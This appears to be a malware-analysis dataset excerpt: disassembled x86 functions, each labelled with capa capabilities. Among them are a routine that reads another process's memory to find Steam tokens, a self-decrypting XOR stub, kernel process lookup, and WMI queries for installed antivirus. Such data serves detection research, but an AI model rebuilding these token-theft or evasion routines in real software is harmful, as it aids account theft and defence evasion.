joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4023c2
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
push ebx
push esi
push edi
movzx eax, word [ecx + 0x14]
lea edx, [ecx + 0x18]
movzx ebx, word [ecx + 6]
add edx, eax
xor edi, edi
test ebx, ebx
je 0x4023f9
mov ecx, dword [ebp + 0xc]
mov esi, dword [edx + 0xc]
cmp esi, ecx
ja 0x4023f1
mov eax, dword [edx + 8]
add eax, esi
cmp eax, ecx
ja 0x402403
add edx, 0x28
inc edi
cmp edi, ebx
jl 0x4023e1
or eax, 0xffffffff
pop edi
pop esi
pop ebx
pop ebp
ret 0xc
mov eax, dword [edx + 0x14]
sub eax, esi
add ecx, eax
cmp ecx, dword [ebp + 0x10]
jb 0x402412
or ecx, 0xffffffff
mov eax, ecx
jmp 0x4023fc

Function at 0x4025aa
Capabilities:
Find process by pid

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
lea eax, [ebp - 4]
xor ebx, ebx
push eax
push ebx
push ebx
push 5
call fcn.00402daa
cmp eax, 0xc0000004
je 0x4025cf
mov eax, 0xc0000001
jmp 0x40265d
mov eax, dword [ebp - 4]
push esi
push 0x63726f50
add eax, eax
push eax
push ebx
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov esi, eax
test esi, esi
jne 0x4025ef
mov eax, 0xc0000017
jmp 0x40265c
mov eax, dword [ebp - 4]
push edi
push ebx
add eax, eax
push eax
push esi
push 5
call fcn.00402daa
mov edi, eax
test edi, edi
jns 0x402611
push ebx
push esi
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov eax, edi
jmp 0x40265b
mov edi, esi
mov ebx, 0xc0000225
cmp dword [edi + 0x3c], 0
je 0x402643
push 1
push dword [ebp + 0xc]
lea eax, [edi + 0x38]
push eax
call dword [sym.imp.ntoskrnl.exe_RtlCompareUnicodeString]
test eax, eax
jne 0x402643
push dword [ebp + 8]
push dword [edi + 0x44]
call dword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov ebx, eax
test ebx, ebx
jns 0x40264d
mov eax, dword [edi]
test eax, eax
je 0x40264d
add edi, eax
jmp 0x402618
push 0x63726f50
push esi
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x4028cc
Capabilities:
Find process by pid

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
xor ebx, ebx
mov byte [ebp - 1], bl
mov dword [ebp - 8], ebx
cmp dword [0x48607c], ebx
jne 0x4028ed
mov eax, 0xc0000225
jmp 0x402a38
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x1c]
push eax
push esi
call dword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
js 0x402a37
lea eax, [ebp - 0xc]
push eax
push ebx
push ebx
push 5
call fcn.00402daa
mov ebx, eax
cmp ebx, 0xc0000004
jne 0x402a2c
mov eax, dword [ebp - 0xc]
push edi
push 0x63726f50
add eax, eax
push eax
push 0
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov edi, eax
mov dword [ebp - 0x18], edi
test edi, edi
jne 0x402944
add ebx, 0x13
jmp 0x402a2b
mov eax, dword [ebp - 0xc]
push 0
add eax, eax
push eax
push edi
push 5
call fcn.00402daa
mov ebx, eax
test ebx, ebx
js 0x402a22
mov eax, edi
cmp dword [eax + 0x44], esi
je 0x402976
mov eax, dword [edi]
test eax, eax
je 0x4029fa
add edi, eax
cmp dword [edi + 0x44], esi
jne 0x402965
and dword [ebp - 0x14], 0
cmp dword [edi + 4], 0
jbe 0x4029e0
lea ebx, [edi + 0xdc]
lea eax, [ebp - 0x10]
push eax
push dword [ebx]
call dword [sym.imp.ntoskrnl.exe_PsLookupThreadByThreadId]
test eax, eax
js 0x4029d1
mov edx, dword [0x48607c]
add edx, dword [ebp - 0x10]
push 0xfffffffffffffffb
pop esi
mov eax, dword [edx]
mov ecx, eax
and ecx, esi
lock cmpxchg dword [edx], ecx
jne 0x4029a4
mov esi, dword [ebp + 8]
test al, 4
je 0x4029c8
push dword [ebx]
inc dword [ebp - 8]
push esi
push 0x403f7c
call fcn.00401df8
add esp, 0xc
mov ecx, dword [ebp - 0x10]
call dword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov eax, dword [ebp - 0x14]
add ebx, 0x40
inc eax
mov dword [ebp - 0x14], eax
cmp eax, dword [edi + 4]
jb 0x402986
mov eax, dword [ebp - 8]
mov byte [ebp - 1], 1
push esi
test eax, eax
jne 0x402a02
push 0x403ffc
call fcn.00401df8
pop ecx
pop ecx
jmp 0x402a10
push esi
push 0x403fc4
jmp 0x4029f1
push eax
push 0x404056
call fcn.00401df8
add esp, 0xc
mov edi, dword [ebp - 0x18]
xor ebx, ebx
cmp byte [ebp - 1], bl
setne bl
dec ebx
and ebx, 0xc0000225
push 0
push edi
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
pop edi
mov ecx, dword [ebp - 0x1c]
call dword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov eax, ebx
pop esi
pop ebx
leave
ret 4
Function at 0x403122
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov eax, dword [0x406004]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x14
push 0
mov dword [ebp - 0x54], 0x20707249
mov dword [ebp - 0x50], 0x2b707249
mov dword [ebp - 0x4c], 0x656c6946
mov dword [ebp - 0x48], 0x6174754d
mov dword [ebp - 0x44], 0x7346744e
mov dword [ebp - 0x40], 0x616d6553
mov dword [ebp - 0x3c], 0x52777445
mov dword [ebp - 0x38], 0x6e657645
mov dword [ebp - 0x34], 0x20646156
mov dword [ebp - 0x30], 0x73646156
mov dword [ebp - 0x2c], 0x61436d4d
mov dword [ebp - 0x28], 0x20206f49
mov dword [ebp - 0x24], 0x74696157
mov dword [ebp - 0x20], 0x65536d4d
mov dword [ebp - 0x1c], 0x43504c41
mov dword [ebp - 0x18], 0x47777445
mov dword [ebp - 0x14], 0x206c644d
mov dword [ebp - 0x10], 0x65726854
mov dword [ebp - 0xc], 0x63536343
mov dword [ebp - 8], 0x4b677844
call fcn.00403220
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, dword [ebp + eax*4 - 0x54]
call fcn.00403362
leave
ret

Function at 0x487000
Capabilities:
Create device object

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
call fcn.00487010
pop ebp
jmp fcn.00402b22

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x41784b
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x425458]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00408da5
mov dword [ebp - 0x14], eax
cmp dword [0x458218], esi
jne 0x41793e
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x4178cb
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x417a1e
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x417a1e
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x417a1e
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x458218], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x45821c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x458220], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x458228], eax
test eax, eax
je 0x41793b
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x458224], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x417963
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x417956
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x417978
push 4
pop eax
jmp 0x417a20
cmp dword [ebp - 0x14], esi
je 0x417978
push dword [0x458218]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x41795d
mov eax, dword [0x458224]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x4179d6
cmp dword [0x458228], edi
je 0x4179d6
push eax
call ebx
push dword [0x458228]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x4179d6
test eax, eax
je 0x4179d6
call ecx
test eax, eax
je 0x4179cb
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x4179cb
test byte [ebp - 8], 1
jne 0x4179d6
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x417a06
mov eax, dword [0x45821c]
cmp eax, edi
je 0x417a03
push eax
call ebx
test eax, eax
je 0x417a03
call eax
mov esi, eax
test esi, esi
je 0x417a03
mov eax, dword [0x458220]
cmp eax, edi
je 0x417a03
push eax
call ebx
test eax, eax
je 0x417a03
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x458218]
call ebx
test eax, eax
je 0x417a1e
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x417a20
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00406f67
mov esp, ebp
pop ebp
ret
Function at 0x4051e8
Capabilities:
Check http status code

Disassembly:
mov eax, 0x41cbb7
call sub.msvcrt.dll__EH_prolog
sub esp, 0x978
push ebx
push esi
xor ebx, ebx
push edi
mov dword [ebp - 0x14], ebx
sub esp, 0xc
lea eax, [ebp + 0xc]
mov ecx, esp
mov dword [ebp - 0x18], esp
push eax
mov dword [ebp - 4], 2
call fcn.0040e39f
lea eax, [ebp - 0xb4]
push eax
call fcn.00403f31
add esp, 0x10
push 0xf
pop ecx
mov esi, eax
lea edi, [ebp - 0x78]
rep movsd dword es:[edi], dword [esi]
push 0x4226e6
lea ecx, [ebp - 0x30]
call fcn.0040e368
push ebx
push ebx
push ebx
push 1
lea ecx, [ebp + 0x18]
mov byte [ebp - 4], 3
call fcn.0040e59f
push eax
call dword [0xb3a3e0]
push dword [0xb296b8]
mov dword [ebp - 0x10], eax
push dword [ebp - 0x74]
xor esi, esi
call dword [0xb3a4bc]
test eax, eax
jne 0x40526f
inc esi
cmp dword [ebp - 0x10], ebx
je 0x4053b3
push ebx
push ebx
push 3
push ebx
push ebx
push dword [ebp - 0x60]
push dword [ebp - 0x68]
push dword [ebp - 0x10]
call dword [0xb3a4e0]
mov dword [ebp - 0x1c], eax
cmp eax, ebx
je 0x4053aa
mov eax, esi
neg eax
push ebx
sbb eax, eax
and eax, 0x800000
add eax, 0x400100
push eax
push ebx
push ebx
push dword [0xb29508]
push dword [ebp - 0x4c]
push 0x422814
push dword [ebp - 0x1c]
call dword [0xb3a514]
mov edi, eax
cmp edi, ebx
je 0x4053a1
cmp esi, ebx
je 0x4052e7
or dword [ebp - 0x20], 0x10300
push 4
lea eax, [ebp - 0x20]
push eax
push 0x1f
push edi
call dword [0xb3a2e8]
push ebx
push ebx
push ebx
push ebx
push edi
call dword [0xb3a4a8]
push ebx
mov esi, eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1b4]
push eax
push 0x13
push edi
mov dword [ebp - 0x18], 0x100
call dword [0xb3a52c]
test eax, eax
jne 0x405326
mov ecx, dword [ebp + 8]
push 0x422818
call fcn.0040e368
jmp 0x4053bf
lea eax, [ebp - 0x1b4]
push eax
call fcn.0040f572
pop ecx
cmp eax, 0xc8
jne 0x4053fb
cmp esi, ebx
je 0x40539a
mov esi, 0x7cf
jmp 0x405383
mov eax, dword [ebp - 0x24]
cmp eax, ebx
je 0x40539a
mov byte [ebp + eax - 0x984], bl
lea eax, [ebp - 0x984]
push eax
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040e4e1
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 4
call fcn.0040e426
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 3
call fcn.0040e3d3
lea eax, [ebp - 0x24]
push eax
push esi
lea eax, [ebp - 0x984]
push eax
push edi
call dword [0xb3a408]
cmp eax, ebx
jne 0x405349
push edi
call dword [0xb3a3dc]
push dword [ebp - 0x1c]
call dword [0xb3a3dc]
push dword [ebp - 0x10]
call dword [0xb3a3dc]
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x30]
push eax
call fcn.0040e39f
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x14], 1
mov byte [ebp - 4], 2
call fcn.0040e3d3
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.0040e3d3
lea ecx, [ebp + 0x18]
mov byte [ebp - 4], bl
call fcn.0040e3d3
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
mov ecx, dword [ebp + 8]
push 0x422820
call fcn.0040e368
jmp 0x4053bf
Function at 0x40e0ed
Capabilities:
Get steam token

Disassembly:
mov eax, 0x41e0d4
call sub.msvcrt.dll__EH_prolog
sub esp, 0x45c
push ebx
xor ebx, ebx
push 0x64000
mov dword [ebp - 0x18], ebx
call sub.msvcrt.dll_void____cdecl_operator_new___unsigned_int_
pop ecx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x28], 0xf
mov dword [ebp - 0x2c], ebx
mov byte [ebp - 0x3c], bl
push dword [ebp + 0xc]
mov dword [ebp - 4], ebx
push ebx
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x14], eax
cmp eax, ebx
jne 0x40e157
mov ecx, dword [ebp + 8]
push 0x422d8b
call fcn.0040dfaa
push ebx
push 1
lea ecx, [ebp - 0x3c]
call fcn.0040dc59
mov eax, dword [ebp + 8]
jmp 0x40e2de
push esi
push edi
push 0x207
lea eax, [ebp - 0x25f]
push ebx
push eax
mov byte [ebp - 0x260], bl
call sub.msvcrt.dll_memset
lea eax, [ebp - 0x468]
push eax
push dword [ebp - 0x10]
push 0xfff
push 0xffffffffffffffff
push ebx
push ebx
push str.65_79_41_69_64_48_6C_77_49_6A_6F_67_49_6B_70_58_56_43_49_73_49_43_4A_68_62_47_63_69_4F_69_41_69_52_57_52_45_55_30_45_69_49_48_30
push dword [ebp - 0x14]
call fcn.0040da03
add esp, 0x2c
mov edi, eax
mov esi, 0x208
add edi, esi
mov ecx, edx
adc ecx, ebx
mov dword [ebp - 0x1c], ecx
cmp edx, ebx
ja 0x40e1b8
jmp 0x40e27b
cmp edx, ebx
ja 0x40e1b8
cmp eax, 0xffff
jbe 0x40e1cb
push ebx
push esi
lea ecx, [ebp - 0x260]
push ecx
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea eax, [ebp - 0x260]
push eax
call sub.msvcrt.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x260]
push eax
lea ecx, [ebp - 0x3c]
call fcn.0040df0f
cmp dword [ebp - 0x2c], 0x12c
jbe 0x40e221
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.0040e058
pop ecx
pop ecx
mov byte [ebp - 4], 1
cmp dword [ebp - 0x48], ebx
je 0x40e213
cmp dword [ebp - 0x48], 0xa
ja 0x40e2aa
push ebx
push 1
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], bl
call fcn.0040dc59
push 0x207
lea eax, [ebp - 0x25f]
push ebx
push eax
mov byte [ebp - 0x260], bl
call sub.msvcrt.dll_memset
lea eax, [ebp - 0x468]
push eax
push dword [ebp - 0x10]
push 0xfff
push 0xffffffffffffffff
push dword [ebp - 0x1c]
push edi
push str.65_79_41_69_64_48_6C_77_49_6A_6F_67_49_6B_70_58_56_43_49_73_49_43_4A_68_62_47_63_69_4F_69_41_69_52_57_52_45_55_30_45_69_49_48_30
push dword [ebp - 0x14]
call fcn.0040da03
add esp, 0x2c
mov ecx, eax
add ecx, esi
mov edi, edx
adc edi, ebx
mov dword [ebp - 0x18], edi
mov edi, ecx
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x1c], ecx
cmp edx, ebx
ja 0x40e1b8
jb 0x40e283
cmp eax, ebx
ja 0x40e1ad
push dword [ebp - 0x10]
call sub.msvcrt.dll_void___cdecl_operator_delete___void__
mov ecx, dword [ebp + 8]
mov dword [esp], 0x422d8c
call fcn.0040dfaa
push ebx
push 1
lea ecx, [ebp - 0x3c]
call fcn.0040dc59
mov eax, dword [ebp + 8]
jmp 0x40e2dc
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x3c]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
push eax
mov ecx, esi
mov byte [esi], bl
call fcn.0040e007
push ebx
push 1
lea ecx, [ebp - 0x58]
call fcn.0040dc59
push ebx
push 1
lea ecx, [ebp - 0x3c]
call fcn.0040dc59
mov eax, esi
pop edi
pop esi
mov ecx, dword [ebp - 0xc]
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x40f2bb
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
mov eax, 0x41e230
call sub.msvcrt.dll__EH_prolog
sub esp, 0x3c
push esi
xor esi, esi
push esi
push esi
mov dword [ebp - 0x14], esi
call dword [sym.imp.ole32.dll_CoInitializeEx]
push esi
push esi
push esi
push 3
push esi
push esi
push esi
push 0xffffffffffffffff
push esi
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
lea eax, [ebp - 0x14]
push eax
push 0x42395c
push 1
push esi
push 0x423a2c
mov dword [ebp - 0x14], esi
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x10]
push edx
push esi
push esi
push esi
push esi
push esi
push esi
push str.ROOTCIMV2
mov dword [ebp - 0x10], esi
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
test eax, eax
js 0x40f427
push esi
push esi
push 3
push 3
push esi
push esi
push 0xa
push dword [ebp - 0x10]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x18]
push edx
push esi
push 0x20
push str.Select__From_Win32_OperatingSystem
push 0x422fa0
mov dword [ebp - 0x18], esi
mov ecx, dword [eax]
push eax
call dword [ecx + 0x50]
test eax, eax
js 0x40f420
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
cmp eax, esi
je 0x40f437
mov ecx, dword [eax]
lea edx, [ebp - 0x1c]
push edx
lea edx, [ebp - 0x20]
push edx
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
cmp dword [ebp - 0x1c], esi
je 0x40f437
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax]
push esi
push esi
lea edx, [ebp - 0x48]
push edx
push esi
push str.InstallDate
push eax
mov dword [ebp - 4], esi
call dword [ecx + 0x10]
push 1
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x40]
call fcn.0040f221
add esp, 0xc
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
push 0x104
push esi
call dword [0xb3a4e4]
push eax
call dword [0xb3a47c]
mov esi, eax
movzx eax, word [ebp - 0x2c]
push eax
movzx eax, word [ebp - 0x2e]
push eax
movzx eax, word [ebp - 0x30]
push eax
movzx eax, word [ebp - 0x38]
push eax
movzx eax, word [ebp - 0x36]
push eax
movzx eax, word [ebp - 0x32]
push eax
push str._d__d__d__d:_d:_d
push esi
call dword [0xb3a30c]
mov ecx, dword [ebp + 8]
add esp, 0x20
push esi
call fcn.0040e368
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
jmp 0x40f434
push 0x422fd4
jmp 0x40f42c
push 0x422fdc
mov ecx, dword [ebp + 8]
call fcn.0040e368
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
leave
ret
Function at 0x40f444
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
mov eax, 0x41e242
call sub.msvcrt.dll__EH_prolog
sub esp, 0x24
push esi
xor esi, esi
push esi
push esi
mov dword [ebp - 0x14], esi
call dword [sym.imp.ole32.dll_CoInitializeEx]
push esi
push esi
push esi
push 3
push esi
push esi
push esi
push 0xffffffffffffffff
push esi
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
lea eax, [ebp - 0x14]
push eax
push 0x42395c
push 1
push esi
push 0x423a2c
mov dword [ebp - 0x14], esi
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x10]
push edx
push esi
push esi
push esi
push esi
push esi
push esi
push str.rootSecurityCenter2
mov dword [ebp - 0x10], esi
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
test eax, eax
js 0x40f54c
push esi
push esi
push 3
push 3
push esi
push esi
push 0xa
push dword [ebp - 0x10]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x18]
push edx
push esi
push 0x20
push str.Select__From_AntiVirusProduct
push 0x423050
mov dword [ebp - 0x18], esi
mov ecx, dword [eax]
push eax
call dword [ecx + 0x50]
test eax, eax
js 0x40f545
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
cmp eax, esi
je 0x40f55c
mov ecx, dword [eax]
lea edx, [ebp - 0x1c]
push edx
lea edx, [ebp - 0x20]
push edx
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
cmp dword [ebp - 0x1c], esi
je 0x40f55c
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax]
push esi
push esi
lea edx, [ebp - 0x30]
push edx
push esi
push str.displayName
push eax
mov dword [ebp - 4], esi
call dword [ecx + 0x10]
push dword [ebp - 0x28]
call fcn.0040f788
pop ecx
mov ecx, dword [ebp + 8]
push eax
call fcn.0040e368
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
jmp 0x40f559
push 0x423070
jmp 0x40f551
push str.Unknown
mov ecx, dword [ebp + 8]
call fcn.0040e368
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
leave
ret

Function at 0x411029
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
mov eax, 0x41e44c
call sub.msvcrt.dll__EH_prolog
push ecx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
call fcn.0040e39f
and dword [ebp - 4], 0
lea eax, [edi + 0xc]
push eax
lea ecx, [esi + 0xc]
call fcn.0040e39f
lea eax, [edi + 0x18]
push eax
lea ecx, [esi + 0x18]
mov byte [ebp - 4], 1
call fcn.0040e39f
mov eax, dword [edi + 0x24]
mov dword [esi + 0x24], eax
mov eax, dword [edi + 0x28]
mov dword [esi + 0x28], eax
mov eax, dword [edi + 0x2c]
mov dword [esi + 0x2c], eax
mov eax, dword [edi + 0x30]
add edi, 0x34
push edi
lea ecx, [esi + 0x34]
mov byte [ebp - 4], 2
mov dword [esi + 0x30], eax
call fcn.0040e39f
mov ecx, dword [ebp - 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret 4
Function at 0x4126b6
Capabilities:
Create thread

Disassembly:
mov eax, 0x41e8cf
call sub.msvcrt.dll__EH_prolog
sub esp, 0x48
push ebx
xor ebx, ebx
push esi
mov dword [ebp - 0x10], ebx
lea ecx, [ebp - 0x54]
mov dword [ebp - 4], 2
call fcn.004116e0
test byte [0xb3a2a8], 1
mov eax, dword [ebp + 0x24]
mov byte [ebp - 4], 3
je 0x4126ec
mov eax, dword [ebp + 0x28]
mov dword [ebp - 0x54], eax
lea eax, [ebp + 0x5c]
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040e426
mov eax, dword [ebp + 0x68]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0x6c]
mov dword [ebp - 0x1c], eax
lea eax, [ebp + 0x2c]
push eax
lea ecx, [ebp - 0x50]
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
call fcn.0040e426
lea eax, [ebp + 0xc]
push eax
lea ecx, [ebp - 0x44]
call fcn.0040e426
lea eax, [ebp + 0x18]
push eax
lea ecx, [ebp - 0x38]
call fcn.0040e426
mov esi, 0x3e8
jmp 0x41273f
push esi
call dword [0xb3a324]
cmp dword [0xb3a2a8], 2
jae 0x412738
inc dword [0xb3a2a8]
push ebx
push ebx
lea eax, [ebp - 0x54]
push eax
push 0x4115a6
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp + 8]
push 0x42318e
call fcn.0040e368
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x10], 1
mov byte [ebp - 4], 2
call fcn.0041172c
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.0040113a
lea ecx, [ebp + 0x5c]
mov byte [ebp - 4], bl
call fcn.0040e3d3
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret